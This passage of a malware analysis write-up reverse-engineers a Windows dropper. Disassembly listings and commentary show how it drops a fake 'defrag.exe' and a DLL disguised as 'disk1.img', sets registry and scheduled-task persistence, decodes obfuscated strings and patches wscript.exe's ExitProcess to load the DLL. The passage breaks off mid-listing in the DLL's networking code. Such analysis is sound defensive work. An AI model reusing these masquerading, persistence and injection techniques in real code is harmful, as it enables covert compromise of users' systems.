    438272 Aug 23 07:22 17.tmp*  9451a18db0c70960ace7d714ac0bc2d2
    438272 Aug 23 07:36 18.tmp*  53d57a45d1b05dce56dd139fc985c55e
    438272 Aug 23 07:39 19.tmp*  387321416ed21f31ab497a774663b400
    438272 Aug 23 07:43 1A.tmp*  0a65ecc21f16797594c53b1423749909
    438272 Aug 23 07:44 1B.tmp*  91a49ed76f52d5b6921f783748edab01
    438272 Aug 23 07:44 1C.tmp*  f89571efe231f9a05f9288db84dcb006
    438272 Aug 23 07:45 1D.tmp*  7ca95b52ed43d71e2d6a3bc2543b4ee1
    438272 Aug 23 07:46 1E.tmp*  faec9c62f091dc2163a38867c28c224d
    438272 Aug 23 07:47 1F.tmp*  4b02063c848181e3e846b59cbb6b3a46
    438272 Aug 23 08:14 20.tmp*  5c8f2f581f75beff1316eee0b5eb5f6d
    438272 Aug 23 01:19 F.tmp*   b466cb01558101d934673f56067f63aa 
          :              :
    It'll then create the process (with the command line API), which will be executed at the function reversed below, I put default IDA commented information since it is important for all of us (not only reverser) to understand flow used below, pls bear the length, just please scroll down to skip these assembly explanation (unless you interest to know how it works):
    0x40BF20 sub_40BF20 proc near
    0x40BF20
    0x40BF20 StartupInfo= _STARTUPINFOW ptr -8508h
    0x40BF20 ProcessInformation= _PROCESS_INFORMATION ptr -84C4h
    0x40BF20 var_84B4= dword ptr -84B4h
    0x40BF20 CommandLine= word ptr -84B0h
    0x40BF20 FileName= word ptr -4B0h
    0x40BF20 ApplicationName= dword ptr -2A8h
    0x40BF20 var_A0= dword ptr -0A0h
    0x40BF20 var_1C= dword ptr -1Ch
    0x40BF20 var_18= dword ptr -18h
    0x40BF20 var_10= dword ptr -10h
    0x40BF20 var_8= dword ptr -8
    0x40BF20 var_4= dword ptr -4
    0x40BF20 arg_8= dword ptr  10h
    0x40BF20
    0x40BF20 push    ebp
    0x40BF21 mov     ebp, esp
    0x40BF23 push    0FFFFFFFEh
    0x40BF25 push    offset unk_4284D0
    0x40BF2A push    offset sub_416480
    0x40BF2F mov     eax, large fs:0
    0x40BF35 push    eax
    0x40BF36 sub     esp, 8          ; Integer Subtraction
    0x40BF39 mov     eax, 84F0h
    0x40BF3E call    sub_4207F0      ; Call Procedure
    0x40BF43 mov     eax, dword_42A520
    0x40BF48 xor     [ebp+var_8], eax ; Logical Exclusive OR
    0x40BF4B xor     eax, ebp        ; Logical Exclusive OR
    0x40BF4D mov     [ebp+var_1C], eax
    0x40BF50 push    ebx
    0x40BF51 push    esi
    0x40BF52 push    edi
    0x40BF53 push    eax
    0x40BF54 lea     eax, [ebp+var_10] ; Load Effective Address
    0x40BF57 mov     large fs:0, eax
    0x40BF5D mov     [ebp+var_18], esp
    0x40BF60 mov     esi, [ebp+arg_8]
    0x40BF63 xor     ebx, ebx        ; Logical Exclusive OR
    0x40BF65 push    ebx             ; reserved register (pvReserved) PS: MUST BE NULL!
    0x40BF66 call    ds:CoInitialize ; CoInitialize@OLE32.DLL (Import, LPVOID, pvReserved)
    0x40BF6C mov     [ebp+var_4], ebx ; Initializes the COM lib is executed here
    0x40BF6F push    6               ; push 0x06h
    0x40BF71 push    offset aHelp    ; is a UTF-16 "--help" for params
    0x40BF76 push    esi
    0x40BF77 call    sub_41196F      ; bottom line: function in sub_41A360, comp & add chars
    0x40BF7C add     esp, 0Ch        ; Add
    0x40BF7F test    eax, eax        ; Logical Compare
    0x40BF81 jz      loc_40C13E      ; Jump if Zero (ZF=1) TO Sleep & Exit
      :
    0x40BF87 call    sub_409740      ; point is control svc manager, grab db (info)
    0x40BF8C xor     eax, eax        ; Logical Exclusive OR
    0x40BF8E mov     [ebp+FileName], ax
    0x40BF95 push    206h
    0x40BF9A push    ebx
    0x40BF9B lea     ecx, [ebp-4AEh] ; Load Effective Address ECX w/Filename
    0x40BFA1 push    ecx
    0x40BFA2 call    sub_412510      ; check+strings operation (XOR, shift right)
    0x40BFA7 add     esp, 0Ch        ; 12 (0x0c) has to be added to the stack
    0x40BFAA push    104h            ; nSize
    0x40BFAF lea     edx, [ebp+FileName] ; Load Effective Address
    0x40BFB5 push    edx             ; lpFilename
    0x40BFB6 push    ebx             ; hModule
    0x40BFB7 call    ds:GetModuleFileNameW ; grab this process filename
    0x40BFBD test    eax, eax        ; cleanup EAX for jmp
    0x40BFBF jz      loc_40C15D      ; Jump if Zero (ZF=1)
      :
    0x40BFC5 xor     eax, eax        ; Logical Exclusive OR
    0x40BFC7 mov     word ptr [ebp+ApplicationName], ax
    0x40BFCE push    206h
    0x40BFD3 push    ebx
    0x40BFD4 lea     ecx, [ebp+ApplicationName+2] ; Load Effective Address, this appname
    0x40BFDA push    ecx             ; pushing appname to the stack
    0x40BFDB call    sub_412510      ; check+strings operation (XOR, shift right)
    0x40BFE0 add     esp, 0Ch        ; 12 (0x0c) has to be added to the stack
    0x40BFE3 lea     edx, [ebp+ApplicationName] ; Load Effective Address
    0x40BFE9 push    edx             ; push lpBuffer
    0x40BFEA push    104h            ; and its length (nBufferLength)
    0x40BFEF call    ds:GetTempPathW ; grab %Temp%
    0x40BFF5 test    eax, eax        ; cleanup EAX for jmp
    0x40BFF7 jz      loc_40C15D      ; Jump if Zero (ZF=1)
      :
    0x40BFFD lea     eax, [ebp+ApplicationName] ; Load Effective Address
    0x40C003 push    eax             ; lpTempFileName
    0x40C004 push    ebx             ; uUnique
    0x40C005 push    ebx             ; lpPrefixString
    0x40C006 mov     ecx, eax
    0x40C008 push    ecx             ; lpPathName / push Path..
    0x40C009 call    ds:GetTempFileNameW ; grab %Temp%+%Filename%
    0x40C00F test    eax, eax        ; cleanup EAX for jmp
    0x40C011 jz      loc_40C15D      ; Jump if Zero (ZF=1)
      :
    0x40C017 call    sub_4079C0      ; To CryptAcquireContextW..CryptRelease OP.
    0x40C01C test    eax, eax        ; cleanup EAX for jmp
    0x40C01E jz      loc_40C15D      ; Jump if Zero (ZF=1)
      :
    0x40C024 mov     byte ptr [ebp+var_A0], bl ; reserved pointer
    0x40C02A push    80h             ; push WritePrivateProfileString to stack
    0x40C02F push    ebx             ; push lpPrefixString to stack
    0x40C030 lea     edx, [ebp+var_A0+1] ; load rsv pointer address
    0x40C036 push    edx             ; push rsv pointer to stack
    0x40C037 call    sub_412510      ; check+strings operation (XOR, shift right)
    0x40C03C add     esp, 0Ch        ; 12 (0x0c) has to be added to the stack
    0x40C03F mov     [ebp+var_84B4], 81h ; EBP to WritePrivateProfileString
    0x40C049 lea     edx, [ebp+var_84B4] ; load EBP
    0x40C04F lea     eax, [ebp+var_A0] ; load EAX
    0x40C055 call    sub_40A300      ; to fnc OP Shift right+4 etc..
    0x40C05A test    eax, eax        ; cleanup EAX for jmp
    0x40C05C jz      loc_40C15D      ; Jump if Zero (ZF=1)
      :
    0x40C07B xor     eax, eax        ; cleanup EAX
    0x40C07D mov     [ebp+CommandLine], ax ; prep exec/command line
    0x40C084 push    7FFEh
    0x40C089 push    ebx             ; push lpPrefixString
    0x40C08A lea     ecx, [ebp-84AEh] ; Load eff addr of ECX
    0x40C090 push    ecx             ; push into stack
    0x40C091 call    sub_412510      ; check+strings operation (XOR, shift right)
    0x40C096 lea     edx, [ebp+var_A0] ; load eff addr lpFileName
    0x40C09C push    edx             ; psh lpFileName to stack
    0x40C09D lea     eax, [ebp+FileName] ; load eff addr fur filename
    0x40C0A3 push    eax             ; push into stack
    0x40C0A4 lea     ecx, [ebp+ApplicationName] ; load eff addr appname
    0x40C0AA push    ecx             ; push appname to stack
    0x40C0AB push    offset aSHelpSS ; get "\"%s\" --help%s\t%S" command executed template into stack
                                     ; sttarted from the above written path/filename, this file's path+name 
                                     ; and %S strings from encryption result
    0x40C0B0 push    4000h
    0x40C0B5 lea     edx, [ebp+CommandLine] ; load eff addr exec/cmd line
    0x40C0BB push    edx             ; push cmd/exec to stack
    0x40C0BC call    sub_411448      ; goto 0x0410A42, obfuscation
    0x40C0C1 mov     [ebp+StartupInfo.cb], ebx ; transfer the startup info
    0x40C0C7 push    40h             ; AccessResource
    0x40C0C9 push    ebx             ; push to stack
    0x40C0CA lea     eax, [ebp+StartupInfo.lpReserved] ; load eff addr for StartupInfo+IpReserved
    0x40C0D0 push    eax             ; push that into stack
    0x40C0D1 call    sub_412510      ; deobfuscation shif -1 is here
    0x40C0D6 add     esp, 30h        ; Add ESP w/30h
    0x40C0D9 mov     [ebp+StartupInfo.cb], 44h ; transfer startups to EBP
    0x40C0E3 xor     ecx, ecx        ; cleanup ECX
    0x40C0E5 mov     [ebp+StartupInfo.wShowWindow], cx ;  forming startups info here..
    0x40C0EC mov     [ebp+StartupInfo.dwFlags], 1
    0x40C0F6 mov     [ebp+ProcessInformation.hProcess], ebx
    0x40C0FC xor     eax, eax        ; cleanup prep EAX
    0x40C0FE mov     [ebp+ProcessInformation.hThread], eax ; forming process-info here..
    0x40C104 mov     [ebp+ProcessInformation.dwProcessId], eax
    0x40C10A mov     [ebp+ProcessInformation.dwThreadId], eax
    0x40C110 lea     edx, [ebp+ProcessInformation] ; Load Effective Address
    0x40C116 push    edx             ; Push all info to stack as lpProcessInformation
    0x40C117 lea     eax, [ebp+StartupInfo] ; assemble startinfo into EAX
    0x40C11D push    eax             ; lpStartupInfo
    0x40C11E push    ebx             ; lpCurrentDirectory
    0x40C11F push    ebx             ; lpEnvironment
    0x40C120 push    8000000h        ; dwCreationFlags
    0x40C125 push    ebx             ; bInheritHandles
    0x40C126 push    ebx             ; lpThreadAttributes
    0x40C127 push    ebx             ; lpProcessAttributes
    0x40C128 lea     ecx, [ebp+CommandLine] ; startupinfo+cmd
    0x40C12E push    ecx             ; lpCommandLine
    0x40C12F lea     edx, [ebp+ApplicationName] ; process info loaded
    0x40C135 push    edx             ; lpApplicationName pushed to stack
    0x40C136 call    ds:CreateProcessW ; stdcall to start process w/flags
    0x40C13C jmp     short loc_40C15D 
    if the .hta dropped malware named "sample.exe", new process will be started by launching command line contains parameters described below:
    "CreateProcessW","C:\DOCUME~1\...\LOCALS~1\Temp\RANDOM[0-9A-F]{1,2}.tmp","SUCCESS|FAIL","PID: xxx, 
    Command line: ""C:\DOCUME~1\...\LOCALS~1\Temp\RANDOM[0-9A-F]{1,2}.tmp"" \n
    --helpC:\DOCUME~1\...\LOCALS~1\Temp\sample.exe \n
    BCE6D32D8CD4F1E6A1064F66D561FDA47E0CD5F8F330C4856A250BB104BC18320FF75E6E56A1741C6770AD238DCFD23DD8A82DDF332FDC8110972549B4FE6D37"
    The decryption function used is as per below:
    And this malware will end its process here, raising new process that has just been executed..

    More drops & payload installation

    The process RANDOM[0-9A-F]{1,2}.tmp started by allocated memory, loading rpcss.dll, uxtheme.dll, MSCTF.dll before it self deleting the dropper .exe. The snip code for the deletion is as per below, this isn't also an easy operation, it checks whether the file is really there, if not it makes sure it is there..

    0x40A648 push    edi             ; push pszPath into stack
    0x40A649 call    ds:PathFileExistsW ; get the path
      :
    0x40A657 push    0Ah             ; lpType
    0x40A659 push    65h             ; lpName
    0x40A65B push    ebx             ; hModule (for the FindResourceW)
    0x40A65C call    ds:FindResourceW ; Indirect Call to get resouce
    0x40A662 mov     esi, eax        ; feed esi w/eax
    0x40A664 cmp     esi, ebx        ; condition to check if ESI contains file data
    0x40A666 jz      loc_0x40A7CB      ; then goto file deletion below:
      :
    0x40A7CB loc_0x40A7CB:             ; lpFileName
    0x40A7CB push    edi             ; push path+filename to stack
    0x40A7CC call    ds:DeleteFileW  ; call API DeleteFileW@KERNEL32.DLL (Import, 1 Params)
    0x40A7D2 mov     [ebp+var_18], 1 ; Execution, note: mov dword ptr [ebp-18h], 0x01h
    
    ;; ..OR fill the ESI and make sure it was executed..
    
    0x40A779 mov     ecx, [ebp+lpFile]
    0x40A77C mov     edx, [ebp+lpExistingFileName]
    0x40A77F push    ecx             ; lpNewFileName
    0x40A780 push    edx             ; lpExistingFileName
      :
    0x40A78B mov     eax, [ebp+lpFile] ; eax < file opeation info
    0x40A78E push    1               ; nShowCmd
    0x40A790 push    ebx             ; lpDirectory
    0x40A791 push    ebx             ; lpParameters
    0x40A792 push    eax             ; lpFile
    0x40A793 push    ebx             ; lpOperation
    0x40A794 push    ebx             ; hwnd
    0x40A795 call    ds:ShellExecuteW ; prep shell to exec/open file
    0x40A79B mov     [ebp+var_18], 1
      :
    ..up to this point I know that we're dealing with a tailored-made malware.

    Back to the highlights, RANDOM[0-9A-F]{1,2}.tmp executed with the right condition will drop payloads of this threat, the first drop is the real deal payload, following by the second drop as the its driver. The file creation of first payload is handled in function 0x41FC90, with the related snip below:

    0x41FEAF mov     eax, [ebp+arg_0]
    0x41FEB2 mov     edi, ds:CreateFileW ; prep API CreateFileW@KERNEL32.DLL (import, 7 attribs at 0x41FED0)
    0x41FEB8 push    0               ; prepare hTemplateFile to stack
    0x41FEBA push    [ebp+dwFlagsAndAttributes] ; to stack: dwFlagsAndAttributes
    0x41FEBD mov     dword ptr [eax], 1
    0x41FEC3 push    [ebp+dwCreationDisposition] ; dwCreationDisposition
    0x41FEC6 lea     eax, [ebp+SecurityAttributes] ; load w/add sec-attrib
    0x41FEC9 push    eax             ; lpSecurityAttributes to stack
    0x41FECA push    [ebp+dwShareMode] ; dwShareMode
    0x41FECD push    [ebp+dwDesiredAccess] ; dwDesiredAccess
    0x41FED0 push    [ebp+lpFileName] ; push EBP with lpFileName & its data assembled:
    0x41FED0                         ; C:\Documents and Settings\...\Application Data\Common Files\defrag.exe
    0x41FED0                         ; "SUCCESS|FAIL",
    0x41FED0                         ; "Desired Access: Read Attributes,
    0x41FED0                         ; Disposition: Open,
    0x41FED0                         ; Options: Open Reparse Point,
    0x41FED0                         ; Attributes: n/a,
    0x41FED0                         ; ShareMode: Read, Write, Delete,
    0x41FED0                         ; AllocationSize: n/a,
    0x41FED0                         ; OpenResult: Open|Fail"
    0x41FED3 call    edi ; CreateFileW ; Call API 
    0x41FED5 mov     [ebp+hHandle], eax ; Boom! File create execution..
    And the writing this file is written in function 0x418EC2 after deobfuscating data part, as per snipped here:
    0x418FB9 mov     eax, [eax+6Ch]
    0x418FBC xor     ecx, ecx        ; cleanup ECX
    0x418FBE cmp     [eax+14h], ecx  ; Compare Two Operands
    0x418FC1 lea     eax, [ebp+CodePage] ; Load Effective Address
    0x418FC7 setz    cl              ; Set Byte if Zero (ZF=1)
    0x418FCA push    eax             ; lpMode
    0x418FCB mov     eax, [ebx]
    0x418FCD push    dword ptr [edi+eax] ; hConsoleHandle, val=0x01(write)
    0x418FD0 mov     esi, ecx
    0x418FD2 call    ds:GetConsoleMode ; in this case is output mode console screen buffer.
      : (etc etc)
    0x4194F0 push    ecx             ; lpOverlapped
    0x4194F1 lea     ecx, [ebp+var_1AD8] ; load eff addr lpNumberOfBytesWritten
    0x4194F7 push    ecx             ; push lpNumberOfBytesWritten to stack
    0x4194F8 push    [ebp+nNumberOfBytesToWrite] ; length, value (dec) 4,096 why??
    0x4194FB push    [ebp+lpBuffer]  ; lpBuffer
    0x419501 push    dword ptr [eax+edi] ; hFile (the defrag.exe)
    0x419504 call    ds:WriteFile    ; Indirect Call Near Procedure
    0x41950A test    eax, eax        ; Execution to write...
    0x41950C jz      short loc_0x419523 ; Jump if Zero (ZF=1)
      :
    0x419523 call    ds:GetLastError
    0x419529 mov     dword ptr [ebp+WideCharStr], 
    we recorded this drop operation in the forensics way too, as per below as evidence:

    As you can see the wiring method is in redundancy per 4096 bytes.

    This first drop called defrag.exe looks pretty much like Windows harddisk defragmentation tool, down to its property, a perfectly crafted evil file:

    Only by using good analysis binary static analysis tool like PEStudio (maker: Marc Oschenmeier), we can spot and focus investigation to the badness indicators right away:

    The next drop is the next task of this binary, noted that none of these drops were fetched from internet instead the data is already included in .hta or .[random].exe or [random.tmp].
    Using the exactly the same functions described above, 0x41FC90 for creation and 0x418EC2 for writing, the second drop operation were also performed. The file name is formed as per below strings:

    "%USERPROFILE%\AppData\Identities\{RANDOM-ID}\disk1.img"
    like:
    "C:\Documents and Settings\MMD\Application Data\Identities\{116380ff-9f6a-4a90-9319-89ee4f513542}\disk1.img"
    
    the forensics PoC is:

    This file is actually a DLL file, here's some peframe:
    File Name:      disk1.img
    PE32 executable for MS Windows (DLL) (GUI) Intel 80386 32-bit
    File Size:      249344 byte
    Compile Time:   2010-08-14 17:16:08
    "DLL:            True"
    Entry Point: 0x0001BBD1
    Sections:       4
    MD5   hash:     62646ea0a4ce1e6d955cbaef8c4a510d
    SHA-1 hash:     10116a65e19a7ebc6702250cc1caabf755ce8e7f
    Anti Debug:     Yes
    Anti VM:        None
    And Virus Total showing the good infection info:
    First submission 2013-03-11 10:38:19 UTC ( 1 year, 5 months ago )
    Last submission 2014-01-21 12:49:00 UTC ( 7 months ago )
    File names disk1.dl, disk1.img

    This file is then performing registry query and writing operations, I will skip some assembly for this, so shortly, these are the 8 keys added, below data I snip from forensics result:


    We can see the autostart, and the way it camouflage malicious data in registry using legit scattered softwares and Windows components. Like: Auslogic (RecoveryDataStore), Photo Viewer, Disk Defragment Module, Microsoft Remote Assitance. This all means to hide and prevent the quick notice of this malware in the infected PC, it is a well thought plan.
    To be noted that one of the key is used to run the defrag.exe execution via ShellExecuteW by the [Random].tmp file, and also you can see the "key" used for this malware saved, one last thing to be noticed is the the bot ID used.

    PS: There are also more drops made which are the Windows task installer for this malware

    C:\Windows\Tasks\ScheduledDefrag.job
    C:\Windows\Tasks\ScheduledDefrag_admin.job
    It is the Windows scheduler (kinda crond) to execute the EXE payload (defrag.exe). Pic:

    What this payload does

    First thing that caught interest and attention is these obfuscation constant variables saved in .rdata section:

    0x40F3AC ; const WCHAR aTztxpx75Xtdsjq
    0x40F3AC aTztxpx75Xtdsjq:
    0x40F3AC    unicode 0, <"tztxpx75]xtdsjqu/fyf">,0
    0x40F3D6    align 4
    0x40F3D8 ; const WCHAR aTztufn43Xtdsjq
    0x40F3D8 aTztufn43Xtdsjq:
    0x40F3D8    unicode 0, <"tztufn43]xtdsjqu/fyf">,0
    0x40F402    align 4
    0x40F404 ; const WCHAR a2e6g3ddEmm
    0x40F404 a2e6g3ddEmm: 
    0x40F404    unicode 0, <"2e6g3dd/emm">,0
    0x40F430 ; const WCHAR aQsphsbnGjmftY9
    0x40F430 aQsphsbnGjmftY9: 
    0x40F430    unicode 0, <"Qsphsbn!Gjmft!)y97*]Joufsofu!Fyqmpsfs]jfmpxvujm/fyf">,0
    0x40F498 ; const WCHAR aQsphsbnGjmftNf
    0x40F498 aQsphsbnGjmftNf: 
    0x40F498    unicode 0, <"Qsphsbn!Gjmft]Nfttfohfs]ntntht/fyf">,0
    0x40F4DE    align 10h
    0x40F4E0 ; const WCHAR aQsphsbnGjmft_0
    0x40F4E0 aQsphsbnGjmft_0:
    0x40F4E0    unicode 0, <"Qsphsbn!Gjmft!)y97*]Joufsofu!Fyqmpsfs]jfyqmpsf/fyf">,0
    0x40F546    align 4
    0x40F548 ; const WCHAR aQsphsbnGjmftJo
    0x40F548 aQsphsbnGjmftJo: 
    0x40F548    unicode 0, <"Qsphsbn!Gjmft]Joufsofu!Fyqmpsfs]jfyqmpsf/fyf">,0
    0x40F5A2    align 4
    We have good decoder team in MMD. Soon these data were translated as per below:

    When these data formed in the functions where they were called, we will have better idea of WHY these strings were obfuscated. This time we will take a look at the dump analysis in disassembly, to seek the executed code parts only:
    ;;Loads a malicious DLL "1d5f2cc.dll" (later on known as disk1.img))
    
    0x0C22D37  call 0x0C28720h  target: 0x0C28720
    0x0C22D3C  add esp, 0Ch  
    0x0C22D3F  push 0x0C2F404h <== UTF-16 "2e6g3dd/emm" ; DECODED "1d5f2cc.dll"
    0x0C22D44  lea edx, dword ptr [ebp-00000084h]  
    0x0C22D4A  push edx  
    0x0C22D4B  call dword ptr [0x0C2D06Ch]  lstrcpyW@KERNEL32.DLL 
    
    ;; Strings for "\Software\Auslogics" entry in registry
    
    0xC2207C  lea ecx, dword ptr [ebp-00000802h]  
    0xC22082  push ecx  
    0xC22083  mov word ptr [ebp-00000804h], ax  
    0xC2208A  call 00C28720h  target: 00C28720
    0xC2208F  add esp, 0Ch  
    0xC22092  push 00C2F278h <== UTF-16 "Tpguxbsf]Bvtmphjdt]|11111111.1111.1111.1111.111111111111~]SfdpwfszEbubTupsf"
             ; DECODED: "Software\Auslogics\{00000000-0000-0000-0000-000000000000}\RecoveryDataStore"
    
    ;; Checks path/process iexplorer.exe ..depends on system...
    0x0C22A4E  call ebx  PathFileExistsW@SHLWAPI.DLL (Import, 1 Params)
    0x0C22A50  test eax, eax  
    0x0C22A52  jne 0x0C22AB8h  target: 0x0C22AB8
    0x0C22A54  push 0x0C2F4E0h <== UTF-16 "Qsphsbn!Gjmft!)y97*]Joufsofu!Fyqmpsfs]jfyqmpsf/fyf"
               ; DECODED: "Program Files (x86)\Internet Explorer\iexplore.exe"
    
    ;; This look bad, why "Skype" is here??
    
    0x0C22625  xor eax, eax  
    0x0C22627  push 0000007Eh  
    0x0C22629  push eax  
    0x0C2262A  lea ecx, dword ptr [ebp-0x000086h]  
    0x0C22630  push ecx  
    0x0C22631  mov word ptr [ebp-0x000088h], ax  
    0x0C22638  call 0x0C28720h  target: 0x0C28720
    0x0C2263D  mov esi, dword ptr [0x0C2D06Ch]  lstrcpyW@KERNEL32.DLL
    0x0C22643  add esp, 0Ch  
    0x0C22646  push 0x0C2F360h <== UTF-16 "//]tlzqf/fyf"
               ; DECODED "..\skype.exe"
    0x0C2264B  lea edx, dword ptr [ebp-0x000088h]  
    0x0C22651  push edx  
    0x0C22652  call esi  lstrcpyW@KERNEL32.DLL
    
    ;; And checks for Messenger too.??
    
    0x0C229DB  push edx  
    0x0C229DC  call ebx  PathFileExistsW@SHLWAPI.DLL 
    0x0C229DE  test eax, eax  
    0x0C229E0  jne 0x0C22A46h  target: 0x0C22A46
    0x0C229E2  push 0x0C2F498h <== UTF-16 "Qsphsbn!Gjmft]Nfttfohfs]ntntht/fyf" ; 
               ; DECODED: "Program Files\Messenger\msmsgs.exe"
    0x0C229E7  lea eax, dword ptr [esp+74h]  
    0x0C229EB  push eax  
    0x0C229EC  call esi  lstrcpyW@KERNEL32.DLL
    
    ;; wscript.exe path..this must be used for something bad..
    
    0x0C22876  call dword ptr [0x0C2D090h]  GetVersion@KERNEL32.DLL (Import, 0 Params)
    0x0C2287C  mov esi, dword ptr [0x0C2D06Ch]  lstrcpyW@KERNEL32.DLL (Import, 2 Params)
    0x0C22882  push 0x0C2F3ACh <== UTF-16 "tztxpx75]xtdsjqu/fyf"; DECODED: "syswow64\wscript.exe"
    0x0C22887  lea eax, dword ptr [esp+74h]  
    0x0C2288B  push eax  
    0x0C2288C  call esi  lstrcpyW@KERNEL32.DLL (Import, 2 Params)
    Found this function is interesting, I found the check for username "Administrator" and SUID "system" are checked:
     ;; Getting the current user name....
    
    0x0C21FAB  xor bl, bl  
    0x0C21FAD  call dword ptr [0xC2D00Ch]  GetUserNameW@ADVAPI32.DLL (Import, 2 Params)
    0x0C21FB3  test eax, eax  
    0x0C21FB5  je 0x0C21FCEh  target: 0xC21FCE
    0x0C21FB7  push 0x0C2F22Ch  <== UTF-16 "system"
    0x0C21FBC  lea ecx, dword ptr [ebp-0x000204h]  
    0x0C21FC2  push ecx
    
     ;; Seek for Administrator account...
    
    0x0C21AC9  call dword ptr [0x0C2D014h]  LookupAccountSidW@ADVAPI32.DLL
    0x0C21ACF  test eax, eax  
    0x0C21AD1  je 0x0C21AFDh  target: 0x0C21AFD
    0x0C21AD3  lea ecx, dword ptr [ebp-0x000204h]  
    0x0C21AD9  push ecx  
    0x0C21ADA  push 0x0C2F1FCh <== UTF-16 "administrators"
    0x0C21ADF  call dword ptr [0x0C2D030h]  lstrcmpiW@KERNEL32.DLL
    0x0C21AE5  test eax, eax  
    Suspicious isn't it?

    I go back to the binary for understanding the related functions, which is in 0x4027F0. I was wondering of what is the part of wscript.exe (not again!??) mentioned by this binary. So I trailed the path of the wscript.exe starting here, assumed that the Windows architecture is x64:

    0x40286E call    sub_408720      ; Check to fill ECX w/Quad deobfs
    0x402873 add     esp, 0Ch        ; reserve ESP w/version info
    0x402876 call    ds:GetVersion   ; Get current version number of Windows
    0x402876                         ; and information about the operating system platform
    0x40287C mov     esi, ds:lstrcpyW
    0x402882 push    offset aTztxpx75Xtdsjq <== Push: "tztxpx75]xtdsjqu/fyf" to stack
    0x402882                         ; Decoded: "syswow64\wscript.exe"
    0x402887 lea     eax, [esp+694h+pMore] ; load EAX
    0x40288B push    eax             ; lpString1 (push this to the stack)
    0x40288C call    esi ; lstrcpyW  ; Indirect Call Near Procedure
    0x40288E mov     dx, [esp+690h+pMore]
    0x402893 xor     edi, edi        ; Cleanup EDI
    0x402895 xor     ecx, ecx        ; Clenup ECX
    0x402897 movzx   eax, dx         ; trail of [esp+69Ch+CommandLine]
    0x40289A cmp     di, dx          ; A check to goto Appname/path
    
    then found the binary wscript.exe is executed in this part:
    0x402B54 xor     eax, eax
    0x402B56 push    40h
    0x402B58 push    eax
    0x402B59 mov     [esp+698h+ProcessInformation.hThread], eax
    0x402B5D mov     [esp+698h+ProcessInformation.dwProcessId], eax
    0x402B61 mov     [esp+698h+ProcessInformation.dwThreadId], eax
    0x402B65 lea     eax, [esp+698h+StartupInfo.lpReserved] ; Load Effective Address
    0x402B69 push    eax
    0x402B6A mov     [esp+69Ch+ProcessInformation.hProcess], 0
    0x402B72 call    sub_408720      ; deobfs procedure..
    0x402B77 add     esp, 0Ch        ; prep ESP
    0x402B7A xor     ecx, ecx        ; initiate ECX
    0x402B7C lea     edx, [esp+690h+ProcessInformation] ; pump EDX w/process info
    0x402B80 push    edx             ; lpProcessInformation
    0x402B80                         ; goes to stack
    0x402B81 lea     eax, [esp+694h+StartupInfo] ; load eff addr EAX filled w/
    0x402B81                         ; startup info
    0x402B85 push    eax             ; lpStartupInfo goes to stack
    0x402B86 push    offset Buffer   ; lpCurrentDirectory
    0x402B8B push    ecx             ; lpEnvironment
    0x402B8B                         ; (fill ECX w/ cmd execution flags)
    0x402B8C push    ecx             ; dwCreationFlags
    0x402B8D push    ecx             ; bInheritHandles
    0x402B8E push    ecx             ; lpThreadAttributes
    0x402B8F push    ecx             ; lpProcessAttributes
    0x402B90 mov     [esp+6B0h+StartupInfo.wShowWindow], cx
    0x402B95 lea     ecx, [esp+6B0h+CommandLine] ; load ProcInfo,Thread/ProcID+CmdLine
    0x402B9C push    ecx             ; lpCommandLine goes to stack
    0x402B9D lea     edx, [esp+6B4h+ApplicationName] ; load appname &..
    0x402BA4 push    edx             ; lpApplicationName goes ot stack
    0x402BA5 mov     [esp+6B8h+StartupInfo.cb], 44h
    0x402BAD mov     [esp+6B8h+StartupInfo.dwFlags], 1
    0x402BB5 call    ds:CreateProcessW ; process called
    0x402BBB test    eax, eax        ; execution
    
    So we have the wscript.exe process up and running.

    Up to this part our teammate poke me in DM, and he asked me what can he helped, so I asked our friend (Mr. Raashid Bhat) to take over the further analysis of this defrag.exe and disk1.img, while I went to other parts, and after a while he came up straight forward with (1) decoder logic, which is match to our crack team did:

    And (2) the conclusion of what "defrag.exe" is actually doing, is a loader which patches the executed wsscript.exe's ExitProcess to load the DLL "disk1.img"....Well, it's all starts to make more sense now.

    Checking the reported data. I confirmed to find the "process was read" from here:

    ;; begins parameter to read process in memory here..
    0x4014BB mov     edx, [ebp+nSize]
    0x4014C1 lea     ecx, [ebp+NumberOfBytesRead] 
    0x4014C7 push    ecx             ; lpNumberOfBytesRead
    0x4014C8 mov     ecx, [ebp+lpAddress]
    0x4014CE push    edx             ; nSize
    0x4014CF lea     eax, [ebp+Buffer] ; 
    0x4014D2 push    eax             ; lpBuffer
    0x4014D3 push    ecx             ; lpBaseAddress
    0x4014D4 push    esi             ; hProcess
    0x4014D5 mov     [ebp+NumberOfBytesRead], ebx
    0x4014DB call    ds:ReadProcessMemory ; <=====
                     ;↑Reads data from an area of memory in a specified process.
    0x4014E1 test    eax, eax        ; execute
    
    As for the "Exit Process patching" itself, it is a quite sophisticate technique was used. It used a tiny shellcode that was observed within Mem Loc 1 : 009C0000 to 009D0000 (by Raashid). The shellcode then was saved in binary which I received and take a look deeper to confirm it as per following snips:

    This shellcode I tweaked a bit, is in a plain assembly, contains three addresses of Windows static API call to (I wrote these API in order of calls from top to bottom) LoadLibraryW@kernel32.dll, RtlGetLastWin32Error@ntdll.dll, Sleep@kernel32.dll which can be shown in assembly code of the code as per snips below:

    So now we know that defrag.exe is actually hacked wscript.exe, hooks ExitProcess Function of kernel32.dll and patches it with a LoadLibraryW@kernel32.dll and loads a DLL string in local (for further execution), does some error-trapping and gives time for the DLL to be processed (loaded and executed).

    OK. So now we have the idea on how this binary sniffs for account, checks for processes and load and use the DLL (disk1.img). There are many more details for more operation in defrag.exe, like searching the process of Auslogic and that skype/messenger buff (also many registry values sniffed too) , but those will be added later after this main course..

    The DLL Payload

    This DLL is the goal of this infection. It has operations for networking functionalitiy, contains the CNC information and the data to be sent to the CNC. If you do forensics, you may never see disk1.img or the deobfuscated DLL filename in the process, but you will see its operation by the patched wscript.exe (for it was hacked to load this DLL, the wscript.exe process should appear).

    Below is the DLL part that in charge for the socket connections...

    ;; In function 10010544
    
    10010593 lea     edx, [ebp+var_8]
    10010596 push    edx
    10010597 lea     edx, [ebp+var_2C]
    1001059A push    edx
    1001059B push    ecx
    1001059C push    eax
    1001059D call    ds:getaddrinfo ; networking info
      :
    100105C7 push    dword ptr [esi+0Ch] ; protocol
    100105CA push    dword ptr [esi+8] ; type
    100105CD push    dword ptr [esi+4] ; af
    100105D0 call    ds:socket       ; open the socket
    100105D6 mov     edi, eax
      :
    100105DD push    dword ptr [esi+10h] ; namelen
    100105E0 push    dword ptr [esi+18h] ; name
    100105E3 push    edi             ; s
